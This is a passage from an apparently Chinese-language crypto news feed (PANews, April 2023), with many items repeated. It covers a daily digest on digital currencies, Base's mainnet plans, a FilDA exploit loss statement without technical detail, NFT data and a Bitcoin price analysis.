Millegan宣布辞去董事一职，辞职将在任命新董事后生效。新董事将在提名程序和选举后任命，ENS基金会将于4月10日17:00开放提名窗口，并于4月30日17:00关闭。5月1日至5日进行选举，选举结果公布后，将向ENS基金会发出任命新董事的通知。 社区活动： ETC Grants DAO第一轮资助计划申请，4月30日结束 ETC Grants DAO第一轮资助计划于2023年1月31日开启申请，将于4月30日结束。本轮资助总金额为100万美元等值ETC，以资助积极在ETC上构建应用和协议的开发者，包括扩容方案、跨链桥与借贷协议等。  ( 5 min )
    PA日报 | Base计划在2023年推出其主网；常熟市公务员5月份工资将用数字人民币发放
    周末要闻提示： 1.津巴布韦央行将推出黄金支持的数字货币作为该国法币 2.漫威创始人宣布推出数字艺术藏品“Ekos Genesis Art Collection” 3.Andre Cronje透露其正致力于加密支付基础设施和加密友好银行项目 4.Bluesky推出短期身份验证解决方案App Password 5.imToken安全提醒：所有通过短信或电话主动联系用户的均是诈骗分子 6.常熟市在编及国资单位人员5月份工资用数字人民币发放 7.Coinbase L2网络Base计划在2023年推出其主网 8.数据：以太坊Layer2网络总锁仓量降至95.5亿美元 监管消息 津巴布韦央行将推出黄金支持的数字货币作为该国法币 据金十引援星期日邮报报道，津巴布韦央行将推出一种黄金支持的数字货币作为该国交易的法定货币，为稳定当地货币的干预措施的一部分举措。引入数字黄金代币将代表着央行使用该国黄金储备来锚定津巴布韦元的第一步行动。 津巴布韦货币当局设想，数字黄金代币将允许那些持有少量津巴布韦元的人将其货币兑换为代币，以实现价值储存并对冲汇率波动。与此同时，津巴布韦央行也在考虑向市场投放更多的“雷鸣雨雾”（Mosi-oa-Tunya）金币，以遏制津巴布韦元最近的贬值。 拜登的新通讯主管被禁止接触前加密客户，但可就加密监管向拜登提供建议 据彭博社报道，美国总统拜登将禁止其新任通讯主管Ben LaBolt参与涉及他之前代表的加密货币或技术公司的法律事务、调查或合同，这些公司包括Meta Platforms Inc.、风险投资公司Haun Ventures LLC和Shopify Inc.。但白宫周五表示，Ben LaBolt将被允许就总统监管加密货币和社交媒体公司的方法提供建议。 此外，根据最近发布的财务披露报告，Ben LaBolt还持有5万至10万美元的比特币和1.5万美元至5万美元的ETH 2。Ben LaBolt此前在Bully Pulpit Interactive工作时，他的客户包括Andreessen Horowitz（a16z）和Uniswap。 NFT 美国玩具制造商美泰旗下NFT平台将推出P2P市场功能 据Bitcoin.com报道，美国玩具制造商美泰旗下数字藏品平台Mattel Creations将于4月27日推出P2P（点对点）市场功能，该功能由NFT公司Rarible提供支持。 据悉，美泰是芭比娃娃制造商，于去年11月在Flow链上推出其NFT市场Mattel Creations。 漫威创始人宣布推出数字艺术藏品“Ekos Genesis Art Collection” 据CoinDesk报道，漫威（Marvel Studios）创始人David Maisel创立的知识产权 (IP) 娱乐公司Mythos Studios宣布推出新的数字艺术藏品“Ekos Genesis Art Collection”，现已在ekos.io的虚拟画廊中展出。该藏品系列收录了著名漫画艺术家(Michael Turner)的原创作品。 北京时间5月3日凌晨1点，《钢铁侠》上映15周年之际，Ekos Genesis Art Collection（995 枚 1/1 原创手工NFT）将开启荷兰拍卖（减价拍卖），荷兰式拍卖将持续 88 分钟，出价将从 10 ETH开始，然后每四分钟下降 0.5 ETH，直到价格达到 0.5 ETH。最后，如果藏品尚未售罄，拍卖的最后八分钟将降至 0.2 ETH。预拍卖将于北京时间4月25日凌晨1点开始。Ekos Genesis Art的所有作品都将在以太坊区块链上铸造。 项目动态 Celsius现场拍卖将于4月25日举行，将有NovaWulf等3家竞标者参与 Celsius无担保债权人官方委员会在推特上表示，现场拍卖将于4月25日举行，投标人包括数字资产投资公司NovaWulf、Fahrenheit, LLC和区块链复苏投资委员会。 据悉，Fahrenheit股权由Arrington Capital、U.S. Data Mining Group、Proof Group Capital Management、Steven Kokinos和Ravi Kaza直接或间接拥有；区块链复苏投资委员会包括Van Eck Absolute Return Advisers公司、Global X Digital或其附属公司、Abra和Gemini信托公司。 Celsius的竞标程序计划已获美国联邦法官和纽约南部地区美国破产法院的批准。根据竞标程序的命令，与委员会协商的债务人已根据合理的酌处权确定进行拍卖将最大化债务人的价值。 BNB Chain：BSC上交易手续费成本已降至3 Gwei BNB Chain近日在推特上宣布，根据社区提案，BSC验证者已将交易成本从5 Gwei降低到3 Gwei。 此前3月29日消息，BNB Chain社区新提案提议降低BSC上交易手续费成本以增强竞争力，并称这将使BSC L1比其他生态系统的L2解决方案更具吸引力。 Telegram钱包机器人推出支持购买、提取和交易比特币的Web界面 根据Telegram钱包机器人@wallet 4月21日发布的公告，该机器人推出了一项功能更新，@wallet用户现在可以直接通过其更新的Web界面购买、提取、交易比特币以及进行比特币P2P交易。之前，比特币只能在文本机器人中访问，但现在@wallet中所有用户都将能够使用该Web界面。此外该平台的新特性之一是更新的交易接口。通过这个新的钱包交易接口，用户可即时交易BTC、USDT和TON代币。此外，交换对总数增加到6个。 此前去年4月消息，TON基金会已向Telegram添加了加密支付功能，用户可通过Telegram“@wallet（钱包）”机器人功能购买比特币。去年11月消息，Telegram钱包机器人已支持在应用聊天界面直接交易TON代币。 Andre Cronje透露其正致力于加密支付基础设施和加密友好银行项目 Fantom创始人Andre Cronje透露其正致力于加密支付基础设施项目，并已推出该产品的封闭测试版，并计划在今年晚些时候向公众开放其加密友好银行。 在针对一推特用户抱怨数字银行Revolut对加密并不友好，Fantom创始人Andre Cronje回复称：“你是需要一张卡，还是只需要支付基础设施？如果是支付基础设施，我可以将你添加到我们的封闭测试版中。如果是卡，那将在2023年底之前可用，加密友好银行将在今年内向公众开放。”Cronje还补充道，考虑到美国的立场，这些产品可能不会向美国公民开放，且无法避免KYC。 Bluesky推出短期身份验证解决方案App Password 据官方博客，由Twitter资助的去中心化社交项目Bluesky发布短期身份验证解决方案App Password，可让用户试用新客户端，而无需完全信任他们的密码。从长远来看，Bluesky计划实施具有范围权限的 SSO（单点登录）。 Bluesky称，其核心开发团队目前专注于完成AT协议，如3月更新所述，未来几个月优先事项是域名作为用户名和帐户可转让性、可组合的审核和声誉系统、算法选择和自定feeds。 Twitter现已上线付费订阅功能，前12个月内不抽成 据推特用户@BroLeonAus的推文截图，Twitter现已上线付费订阅功能，即用户在付费订阅创作者后，可查看创作者发布的付费内容后；在订阅后，用户将会获得一枚公开的订阅徽章。据悉，该付费订阅制度已于4月20日实施。 据4月13日路透社报道，马斯克宣布推特将向用户开放付费订阅功能，付费对象包括长文本和长视频等。在服务上线最初的12个月中，内容发布者将获得除去移动平台费用（iOS或安卓商店抽成30%）之外的全部订阅收入，推特不会从中截留任何一分钱，网页版则能让创作者拿到92%的收入。但谷歌拒绝了马斯克的说法，并表示已将Google Play上所有订阅的服务费从2022年的30%下调至15%。 此前4月21日消息，推特开始取消不付费账号蓝标认证，多位加密KOL和创始人账号受影响。 imToken安全提醒：所有通过短信或电话主动联系用户的均是诈骗分子 去中心化钱包imToken官方发布安全提醒，近期，诈骗分子假冒imToken官方人员，通过发送短信等方式联系用户，谎称imToken将于近期关闭服务等，诱导用户访问假网站并输入助记词，导致用户遭受资产损失。 安全提醒称：1.imToken不会通过短信或电话主动联系用户；2.所有通过短信或电话主动联系的都不是imToken官方人员；3.imToken各项功能及服务均正常，用户无需担心；4.妥善保管自己的助记词或私钥，不要泄漏给任何人。 常熟市在编及国资单位人员5月份工资用数字人民币发放 据中国基金报报道，江苏常熟市在编公务员事业人员及国资单位人员，5月实行工资全额数字人民币发放。一份文件显示，常熟市地方金融监督管理局和常熟市财政局日前印发《关于实行工资全额数字人民币发放的通知》。该通知称，从5月开始对常熟市在编公务员(含参公人员)、事业人员、各级国资单位人员实行工资全额数字人民币发放。 早在17日，常熟市召开全市数字人民币试点工作专题推进会，其中提到，今年以来江苏省启动全域数字人民币试点。此外，3月6日，工商银行江都支行2日成功落地扬州首笔数字人民币代发工资业务，为人民银行江都支行职工合计发放22笔工资和补贴。 Gemini将在美国境外开设加密衍生品平台 据CoinDesk报道，总部位于美国的加密交易所Gemini周五透露，它计划在海外开设衍生品平台“Gemini Foundation”。该平台推出的首个产品将是以GUSD计价的比特币永续合约。未来还将推出以太坊永久合约。与传统衍生品不同，永续合约没有到期日。与此同时，美国监管机构正对加密货币加强审查，Gemini也受到影响。今年1月，Gemini被美国证券交易委员会（SEC）指控出售未注册证券。 Coinbase L2网络Base计划在2023年推出其主网 据TechCrunch报道，Base 负责人兼 Coinbase 协议负责人 Jesse Pollak 表示，Coinbase Layer2 网络 Base 计划在 2023 年推出其主网。近期的计划是让 Base 进入主网并去中心化。 OPNX回应众机构：对其虚假陈述感到失望，未来不希望他们作为OPNX的投资者 针对多家机构否认投资OPNX一事，OPNX在推特上回应称：“OPNX的核心价值观是透明度，所以我们披露了机构支持者和关键战略合作伙伴。而公司在寻求经济利益的同时，又害怕来自舆论的反对压力而否认存在关联，这很难看。如果任何一方在致力于透明度和行业发展方面动摇了，那么我们对他们的虚假陈述表示失望，并希望未来不要让他们作为投资者。” 此前破产索赔交易所OPNX公开其主要投资者，包括AppWorks、DRW VC和招行国际的香港分行等。但随后，DRW、Nascent、MIAX和Susquehanna等多家公司否认投资OPNX。 重要数据： 数据：以太坊Layer2网络总锁仓量降至95.5亿美元 据L2BEAT数据显示，以太坊Layer2网络当前总锁仓量为95.5亿美元，7日降幅为9.03%。其中，Arbitrum One网络总锁仓量为64.2亿美元，占比达66.99%；Optimism网络总锁仓量为19.4亿美元，占比达20.31%；dYdX网络总锁仓量为3.38亿美元，占比达3.54%。 数据：过去一周Circle USDC流通量减少9亿美元 据官方数据，过去7天Circle共发行5亿美元USDC，赎回14亿美元USDC，流通量减少约9亿美元。截至4月20日，USDC总流通量为310亿美元，储备量为311亿美元，其中现金57亿美元，短期美国国债255亿美元。 数据：今年第一季度Web3初创公司所获风投金额同比下降82% Crunchbase的数据显示，今年第一季度对Web3初创企业的风险投资金额同比下降82%，从2022年第一季度的91亿美元下降到17亿美元，创2020年第四季度以来Web3公司融资金额新低。与此同时，交易总数也出现了显著下降。2023年第一季度记录了333笔交易，同比下降约33%。此外，在2022年第一季度，Web3共完成29轮金额超过1亿美元的融资，而在今年第一季度，只有两轮融资超过1亿美元。  ( 3 min )
    PA日报 | Base计划在2023年推出其主网；常熟市公务员5月份工资将用数字人民币发放
    周末要闻提示： 1.津巴布韦央行将推出黄金支持的数字货币作为该国法币 2.漫威创始人宣布推出数字艺术藏品“Ekos Genesis Art Collection” 3.Andre Cronje透露其正致力于加密支付基础设施和加密友好银行项目 4.Bluesky推出短期身份验证解决方案App Password 5.imToken安全提醒：所有通过短信或电话主动联系用户的均是诈骗分子 6.常熟市在编及国资单位人员5月份工资用数字人民币发放 7.Coinbase L2网络Base计划在2023年推出其主网 8.数据：以太坊Layer2网络总锁仓量降至95.5亿美元 监管消息 津巴布韦央行将推出黄金支持的数字货币作为该国法币 据金十引援星期日邮报报道，津巴布韦央行将推出一种黄金支持的数字货币作为该国交易的法定货币，为稳定当地货币的干预措施的一部分举措。引入数字黄金代币将代表着央行使用该国黄金储备来锚定津巴布韦元的第一步行动。 津巴布韦货币当局设想，数字黄金代币将允许那些持有少量津巴布韦元的人将其货币兑换为代币，以实现价值储存并对冲汇率波动。与此同时，津巴布韦央行也在考虑向市场投放更多的“雷鸣雨雾”（Mosi-oa-Tunya）金币，以遏制津巴布韦元最近的贬值。 拜登的新通讯主管被禁止接触前加密客户，但可就加密监管向拜登提供建议 据彭博社报道，美国总统拜登将禁止其新任通讯主管Ben LaBolt参与涉及他之前代表的加密货币或技术公司的法律事务、调查或合同，这些公司包括Meta Platforms Inc.、风险投资公司Haun Ventures LLC和Shopify Inc.。但白宫周五表示，Ben LaBolt将被允许就总统监管加密货币和社交媒体公司的方法提供建议。 此外，根据最近发布的财务披露报告，Ben LaBolt还持有5万至10万美元的比特币和1.5万美元至5万美元的ETH 2。Ben LaBolt此前在Bully Pulpit Interactive工作时，他的客户包括Andreessen Horowitz（a16z）和Uniswap。 NFT 美国玩具制造商美泰旗下NFT平台将推出P2P市场功能 据Bitcoin.com报道，美国玩具制造商美泰旗下数字藏品平台Mattel Creations将于4月27日推出P2P（点对点）市场功能，该功能由NFT公司Rarible提供支持。 据悉，美泰是芭比娃娃制造商，于去年11月在Flow链上推出其NFT市场Mattel Creations。 漫威创始人宣布推出数字艺术藏品“Ekos Genesis Art Collection” 据CoinDesk报道，漫威（Marvel Studios）创始人David Maisel创立的知识产权 (IP) 娱乐公司Mythos Studios宣布推出新的数字艺术藏品“Ekos Genesis Art Collection”，现已在ekos.io的虚拟画廊中展出。该藏品系列收录了著名漫画艺术家(Michael Turner)的原创作品。 北京时间5月3日凌晨1点，《钢铁侠》上映15周年之际，Ekos Genesis Art Collection（995 枚 1/1 原创手工NFT）将开启荷兰拍卖（减价拍卖），荷兰式拍卖将持续 88 分钟，出价将从 10 ETH开始，然后每四分钟下降 0.5 ETH，直到价格达到 0.5 ETH。最后，如果藏品尚未售罄，拍卖的最后八分钟将降至 0.2 ETH。预拍卖将于北京时间4月25日凌晨1点开始。Ekos Genesis Art的所有作品都将在以太坊区块链上铸造。 项目动态 Celsius现场拍卖将于4月25日举行，将有NovaWulf等3家竞标者参与 Celsius无担保债权人官方委员会在推特上表示，现场拍卖将于4月25日举行，投标人包括数字资产投资公司NovaWulf、Fahrenheit, LLC和区块链复苏投资委员会。 据悉，Fahrenheit股权由Arrington Capital、U.S. Data Mining Group、Proof Group Capital Management、Steven Kokinos和Ravi Kaza直接或间接拥有；区块链复苏投资委员会包括Van Eck Absolute Return Advisers公司、Global X Digital或其附属公司、Abra和Gemini信托公司。 Celsius的竞标程序计划已获美国联邦法官和纽约南部地区美国破产法院的批准。根据竞标程序的命令，与委员会协商的债务人已根据合理的酌处权确定进行拍卖将最大化债务人的价值。 BNB Chain：BSC上交易手续费成本已降至3 Gwei BNB Chain近日在推特上宣布，根据社区提案，BSC验证者已将交易成本从5 Gwei降低到3 Gwei。 此前3月29日消息，BNB Chain社区新提案提议降低BSC上交易手续费成本以增强竞争力，并称这将使BSC L1比其他生态系统的L2解决方案更具吸引力。 Telegram钱包机器人推出支持购买、提取和交易比特币的Web界面 根据Telegram钱包机器人@wallet 4月21日发布的公告，该机器人推出了一项功能更新，@wallet用户现在可以直接通过其更新的Web界面购买、提取、交易比特币以及进行比特币P2P交易。之前，比特币只能在文本机器人中访问，但现在@wallet中所有用户都将能够使用该Web界面。此外该平台的新特性之一是更新的交易接口。通过这个新的钱包交易接口，用户可即时交易BTC、USDT和TON代币。此外，交换对总数增加到6个。 此前去年4月消息，TON基金会已向Telegram添加了加密支付功能，用户可通过Telegram“@wallet（钱包）”机器人功能购买比特币。去年11月消息，Telegram钱包机器人已支持在应用聊天界面直接交易TON代币。 Andre Cronje透露其正致力于加密支付基础设施和加密友好银行项目 Fantom创始人Andre Cronje透露其正致力于加密支付基础设施项目，并已推出该产品的封闭测试版，并计划在今年晚些时候向公众开放其加密友好银行。 在针对一推特用户抱怨数字银行Revolut对加密并不友好，Fantom创始人Andre Cronje回复称：“你是需要一张卡，还是只需要支付基础设施？如果是支付基础设施，我可以将你添加到我们的封闭测试版中。如果是卡，那将在2023年底之前可用，加密友好银行将在今年内向公众开放。”Cronje还补充道，考虑到美国的立场，这些产品可能不会向美国公民开放，且无法避免KYC。 Bluesky推出短期身份验证解决方案App Password 据官方博客，由Twitter资助的去中心化社交项目Bluesky发布短期身份验证解决方案App Password，可让用户试用新客户端，而无需完全信任他们的密码。从长远来看，Bluesky计划实施具有范围权限的 SSO（单点登录）。 Bluesky称，其核心开发团队目前专注于完成AT协议，如3月更新所述，未来几个月优先事项是域名作为用户名和帐户可转让性、可组合的审核和声誉系统、算法选择和自定feeds。 Twitter现已上线付费订阅功能，前12个月内不抽成 据推特用户@BroLeonAus的推文截图，Twitter现已上线付费订阅功能，即用户在付费订阅创作者后，可查看创作者发布的付费内容后；在订阅后，用户将会获得一枚公开的订阅徽章。据悉，该付费订阅制度已于4月20日实施。 据4月13日路透社报道，马斯克宣布推特将向用户开放付费订阅功能，付费对象包括长文本和长视频等。在服务上线最初的12个月中，内容发布者将获得除去移动平台费用（iOS或安卓商店抽成30%）之外的全部订阅收入，推特不会从中截留任何一分钱，网页版则能让创作者拿到92%的收入。但谷歌拒绝了马斯克的说法，并表示已将Google Play上所有订阅的服务费从2022年的30%下调至15%。 此前4月21日消息，推特开始取消不付费账号蓝标认证，多位加密KOL和创始人账号受影响。 imToken安全提醒：所有通过短信或电话主动联系用户的均是诈骗分子 去中心化钱包imToken官方发布安全提醒，近期，诈骗分子假冒imToken官方人员，通过发送短信等方式联系用户，谎称imToken将于近期关闭服务等，诱导用户访问假网站并输入助记词，导致用户遭受资产损失。 安全提醒称：1.imToken不会通过短信或电话主动联系用户；2.所有通过短信或电话主动联系的都不是imToken官方人员；3.imToken各项功能及服务均正常，用户无需担心；4.妥善保管自己的助记词或私钥，不要泄漏给任何人。 常熟市在编及国资单位人员5月份工资用数字人民币发放 据中国基金报报道，江苏常熟市在编公务员事业人员及国资单位人员，5月实行工资全额数字人民币发放。一份文件显示，常熟市地方金融监督管理局和常熟市财政局日前印发《关于实行工资全额数字人民币发放的通知》。该通知称，从5月开始对常熟市在编公务员(含参公人员)、事业人员、各级国资单位人员实行工资全额数字人民币发放。 早在17日，常熟市召开全市数字人民币试点工作专题推进会，其中提到，今年以来江苏省启动全域数字人民币试点。此外，3月6日，工商银行江都支行2日成功落地扬州首笔数字人民币代发工资业务，为人民银行江都支行职工合计发放22笔工资和补贴。 Gemini将在美国境外开设加密衍生品平台 据CoinDesk报道，总部位于美国的加密交易所Gemini周五透露，它计划在海外开设衍生品平台“Gemini Foundation”。该平台推出的首个产品将是以GUSD计价的比特币永续合约。未来还将推出以太坊永久合约。与传统衍生品不同，永续合约没有到期日。与此同时，美国监管机构正对加密货币加强审查，Gemini也受到影响。今年1月，Gemini被美国证券交易委员会（SEC）指控出售未注册证券。 Coinbase L2网络Base计划在2023年推出其主网 据TechCrunch报道，Base 负责人兼 Coinbase 协议负责人 Jesse Pollak 表示，Coinbase Layer2 网络 Base 计划在 2023 年推出其主网。近期的计划是让 Base 进入主网并去中心化。 OPNX回应众机构：对其虚假陈述感到失望，未来不希望他们作为OPNX的投资者 针对多家机构否认投资OPNX一事，OPNX在推特上回应称：“OPNX的核心价值观是透明度，所以我们披露了机构支持者和关键战略合作伙伴。而公司在寻求经济利益的同时，又害怕来自舆论的反对压力而否认存在关联，这很难看。如果任何一方在致力于透明度和行业发展方面动摇了，那么我们对他们的虚假陈述表示失望，并希望未来不要让他们作为投资者。” 此前破产索赔交易所OPNX公开其主要投资者，包括AppWorks、DRW VC和招行国际的香港分行等。但随后，DRW、Nascent、MIAX和Susquehanna等多家公司否认投资OPNX。 重要数据： 数据：以太坊Layer2网络总锁仓量降至95.5亿美元 据L2BEAT数据显示，以太坊Layer2网络当前总锁仓量为95.5亿美元，7日降幅为9.03%。其中，Arbitrum One网络总锁仓量为64.2亿美元，占比达66.99%；Optimism网络总锁仓量为19.4亿美元，占比达20.31%；dYdX网络总锁仓量为3.38亿美元，占比达3.54%。 数据：过去一周Circle USDC流通量减少9亿美元 据官方数据，过去7天Circle共发行5亿美元USDC，赎回14亿美元USDC，流通量减少约9亿美元。截至4月20日，USDC总流通量为310亿美元，储备量为311亿美元，其中现金57亿美元，短期美国国债255亿美元。 数据：今年第一季度Web3初创公司所获风投金额同比下降82% Crunchbase的数据显示，今年第一季度对Web3初创企业的风险投资金额同比下降82%，从2022年第一季度的91亿美元下降到17亿美元，创2020年第四季度以来Web3公司融资金额新低。与此同时，交易总数也出现了显著下降。2023年第一季度记录了333笔交易，同比下降约33%。此外，在2022年第一季度，Web3共完成29轮金额超过1亿美元的融资，而在今年第一季度，只有两轮融资超过1亿美元。  ( 3 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.23）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.23）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    多链借贷协议FilDA发布漏洞利用声明：已造成约70万美元的损失
    PANews 4月23日消息，多链借贷协议FilDA发布漏洞利用声明称，今天早些时候在亦来云智能链（ESC）和 REI 网络上遭到攻击，已造成约 70 万美元的损失。没有其他 FilDA 部署受到影响。已识别漏洞并隔离攻击媒介。ESC 和 Rei FilDA 平台已经暂停，只有在对当前情况进行彻底审查后才会恢复。将与CEX、安全公司等多方进行合作分析链上活动，以帮助跟踪和监控这些地址。将要求执法部门追究此案，并鼓励受影响的用户也联系当地执法部门，以便他们了解盗窃事件。  ( 1 min )
    多链借贷协议FilDA发布漏洞利用声明：已造成约70万美元的损失
    PANews 4月23日消息，多链借贷协议FilDA发布漏洞利用声明称，今天早些时候在亦来云智能链（ESC）和 REI 网络上遭到攻击，已造成约 70 万美元的损失。没有其他 FilDA 部署受到影响。已识别漏洞并隔离攻击媒介。ESC 和 Rei FilDA 平台已经暂停，只有在对当前情况进行彻底审查后才会恢复。将与CEX、安全公司等多方进行合作分析链上活动，以帮助跟踪和监控这些地址。将要求执法部门追究此案，并鼓励受影响的用户也联系当地执法部门，以便他们了解盗窃事件。  ( 1 min )
    比特币跌穿2.75万美元，山寨季即将到来？
    原文：《被山寨币“吸血”？比特币主导地位停滞，跌穿2.75万美元》 作者：比推BitpushNews Mary Liu 比特币连续数日下跌，现已跌穿2.75万美元。比推终端数据显示，自上周五以来，比特币下跌超过 10%，市值第二大的加密货币以太坊在此期间下跌了 8%。截至4月21日美股收盘时，比特币交易价格约为2.73万美元，24小时跌幅3%。根据CoinGlass 数据，在过去 24 小时内，价值超过 1.7 亿美元的衍生品合约被清算，其中超过 80% 为多头，本周清算总额超过 4 亿美元。 TradingView 数据显示，比特币的主导率在第一季度从 42% 上升至 48%，并且本月到目前为止一直难以突破这一水平。专业人士表示，比特币在整个加密市场中所占份额的增长已经停滞，这暗示着山寨币季节可能到来。 加密服务提供商 Matrixport 的研究和战略主管 Markus Thielen 在给客户的一份报告中表示：“比特币的主导地位可能会达到顶峰，这将表明山寨币的表现将优于大盘。” 山寨币是指除比特币以外的任何加密货币。TradingView 数据显示，近两年来，比特币的主导率指标一直在 38% 和 48% 之间波动，从 46%-48% 水平下降与山寨币的超额收益相吻合。在 BTC 主导率从 2021 年 7 月的 48% 下降后的两个月内，山寨币的总市值（上图白色曲线、蓝色箭头附近）上涨了 60% 以上，达到 1.39 万亿美元。2021 年 10 月中旬和 2022 年 6 月，比特币主导率的下跌也推高了山寨币的估值。 Thielen 认为，历史可能会重演，他写道：“比特币的主导地位似乎正在达到与 2022 年相似的水平——占加密货币总市值的 45/46%，比特币要继续跑赢生态系统的其他部分，就意味着只有比特币很重要，考虑到部署在其他链上的智能合约和市场资金偏好，这似乎不太可能”。 资金确实正在涌入山寨币，尤其是Meme模因币。例如PEPE–以悲伤蛙表情包的名字命名的代币，市值在不到五天的时间里飙升至 8600 万美元，在CoinGecko的榜单中成为第六大最有价值的模因币。 CryptoQuant 分析师指出，过去的牛市始于美国交易所增持，一个相关的指标是“交易所储备率”，衡量的是任意两个交易所平台之间的储备比率。交易所储备是指当前位于中心化交易所钱包（或几个平台的组合钱包）中的比特币总量。 分析通过追踪过去几个周期中美国与离岸平台的比特币储备比率的趋势，发现该比率在历史上先于牛市开始的模式尚未形成。因为从历史上看，当我们迈向牛市时，美国平台相对于离岸平台的持仓量有所增加。 上图显示，该比率近几个月一直在不断下降。事实上，该指标自 2014 年以来一直呈整体下降趋势，这意味着多年来美国交易所的份额一直在缩小，出现了许多新的离岸交易所（并且已经发展到相当大的规模）。 CryptoQuant 分析师指出：“美国交易所、银行和基金持有的比特币比例尚未上升，我认为真正的牛市到来还为时过早。” 据加密货币行业专家Ben Lily介绍，当前的减半周期是评估比特币价格走势时需要考虑的重要因素，还有一个最重要的指标：BTC 是高于还是低于其 200 天移动平均线 (MA)。当 BTC 攀升至该 MA 上方时，这可能是一个非常可靠的看涨信号。 Lily 指出，在过去三个减半周期中的每一个周期中，比特币的价格都在减半前的 217 到 315 天之间跌破 200 天移动平均线 (MA)。如果这种模式适用于当前的减半周期，可以预期 BTC 的价格将在 6 月至 8 月的某个时候跌破 200 天均线，随着比特币跌破 200 日均线，从而形成一个更高的低点，这可能会导致最终的“震荡时刻”。 在谈到比特币接下来的走势时，分析师 Micheal van de Poppe 认为 BTC 进入了一个难以预测的区域。他将下一个关键点定在 27,600 美元的水平。考虑到比特币在反弹至 30,000 美元以上之前曾在此区间支撑，因此它成为一个重要水平。Van de Poppe 解释说，可能从这个水平继续涨势，但需要快速突破：“可能会降低流动性，但需要快速复苏”。 另一方面，空头设置了 28,800 美元的阻力位，分析师解释说，突破这一水平十分关键，如果多头无法突破，那么BTC价格可能回到 26,000 美元附近的区域。 本次回调看起来并不乐观。Sevens Report Research 创始人Tom Essaye 在接受CNBC采访时表示：“很难相信市场准备从这里随意向新的历史高位移动。也就是说，熊市的底部还没有到来。” Storm Partners 管理合伙人 Sheraz Ahmed 在其推文中分析称：“当查看比特币的年度图表时，很明显我们刚刚见证了一段异常增长的时期，因为行业正在从过去几年的加密灾难中复苏，我们可能正在见证一场迟到但整体健康的调整开始，这应该会鼓励进一步的增持”。  ( 3 min )
    比特币跌穿2.75万美元，山寨季即将到来？
    原文：《被山寨币“吸血”？比特币主导地位停滞，跌穿2.75万美元》 作者：比推BitpushNews Mary Liu 比特币连续数日下跌，现已跌穿2.75万美元。比推终端数据显示，自上周五以来，比特币下跌超过 10%，市值第二大的加密货币以太坊在此期间下跌了 8%。截至4月21日美股收盘时，比特币交易价格约为2.73万美元，24小时跌幅3%。根据CoinGlass 数据，在过去 24 小时内，价值超过 1.7 亿美元的衍生品合约被清算，其中超过 80% 为多头，本周清算总额超过 4 亿美元。 TradingView 数据显示，比特币的主导率在第一季度从 42% 上升至 48%，并且本月到目前为止一直难以突破这一水平。专业人士表示，比特币在整个加密市场中所占份额的增长已经停滞，这暗示着山寨币季节可能到来。 加密服务提供商 Matrixport 的研究和战略主管 Markus Thielen 在给客户的一份报告中表示：“比特币的主导地位可能会达到顶峰，这将表明山寨币的表现将优于大盘。” 山寨币是指除比特币以外的任何加密货币。TradingView 数据显示，近两年来，比特币的主导率指标一直在 38% 和 48% 之间波动，从 46%-48% 水平下降与山寨币的超额收益相吻合。在 BTC 主导率从 2021 年 7 月的 48% 下降后的两个月内，山寨币的总市值（上图白色曲线、蓝色箭头附近）上涨了 60% 以上，达到 1.39 万亿美元。2021 年 10 月中旬和 2022 年 6 月，比特币主导率的下跌也推高了山寨币的估值。 Thielen 认为，历史可能会重演，他写道：“比特币的主导地位似乎正在达到与 2022 年相似的水平——占加密货币总市值的 45/46%，比特币要继续跑赢生态系统的其他部分，就意味着只有比特币很重要，考虑到部署在其他链上的智能合约和市场资金偏好，这似乎不太可能”。 资金确实正在涌入山寨币，尤其是Meme模因币。例如PEPE–以悲伤蛙表情包的名字命名的代币，市值在不到五天的时间里飙升至 8600 万美元，在CoinGecko的榜单中成为第六大最有价值的模因币。 CryptoQuant 分析师指出，过去的牛市始于美国交易所增持，一个相关的指标是“交易所储备率”，衡量的是任意两个交易所平台之间的储备比率。交易所储备是指当前位于中心化交易所钱包（或几个平台的组合钱包）中的比特币总量。 分析通过追踪过去几个周期中美国与离岸平台的比特币储备比率的趋势，发现该比率在历史上先于牛市开始的模式尚未形成。因为从历史上看，当我们迈向牛市时，美国平台相对于离岸平台的持仓量有所增加。 上图显示，该比率近几个月一直在不断下降。事实上，该指标自 2014 年以来一直呈整体下降趋势，这意味着多年来美国交易所的份额一直在缩小，出现了许多新的离岸交易所（并且已经发展到相当大的规模）。 CryptoQuant 分析师指出：“美国交易所、银行和基金持有的比特币比例尚未上升，我认为真正的牛市到来还为时过早。” 据加密货币行业专家Ben Lily介绍，当前的减半周期是评估比特币价格走势时需要考虑的重要因素，还有一个最重要的指标：BTC 是高于还是低于其 200 天移动平均线 (MA)。当 BTC 攀升至该 MA 上方时，这可能是一个非常可靠的看涨信号。 Lily 指出，在过去三个减半周期中的每一个周期中，比特币的价格都在减半前的 217 到 315 天之间跌破 200 天移动平均线 (MA)。如果这种模式适用于当前的减半周期，可以预期 BTC 的价格将在 6 月至 8 月的某个时候跌破 200 天均线，随着比特币跌破 200 日均线，从而形成一个更高的低点，这可能会导致最终的“震荡时刻”。 在谈到比特币接下来的走势时，分析师 Micheal van de Poppe 认为 BTC 进入了一个难以预测的区域。他将下一个关键点定在 27,600 美元的水平。考虑到比特币在反弹至 30,000 美元以上之前曾在此区间支撑，因此它成为一个重要水平。Van de Poppe 解释说，可能从这个水平继续涨势，但需要快速突破：“可能会降低流动性，但需要快速复苏”。 另一方面，空头设置了 28,800 美元的阻力位，分析师解释说，突破这一水平十分关键，如果多头无法突破，那么BTC价格可能回到 26,000 美元附近的区域。 本次回调看起来并不乐观。Sevens Report Research 创始人Tom Essaye 在接受CNBC采访时表示：“很难相信市场准备从这里随意向新的历史高位移动。也就是说，熊市的底部还没有到来。” Storm Partners 管理合伙人 Sheraz Ahmed 在其推文中分析称：“当查看比特币的年度图表时，很明显我们刚刚见证了一段异常增长的时期，因为行业正在从过去几年的加密灾难中复苏，我们可能正在见证一场迟到但整体健康的调整开始，这应该会鼓励进一步的增持”。  ( 3 min )
    奢侈品巨头LVMH：我们只会用NFT卖真正的鞋和真正的酒
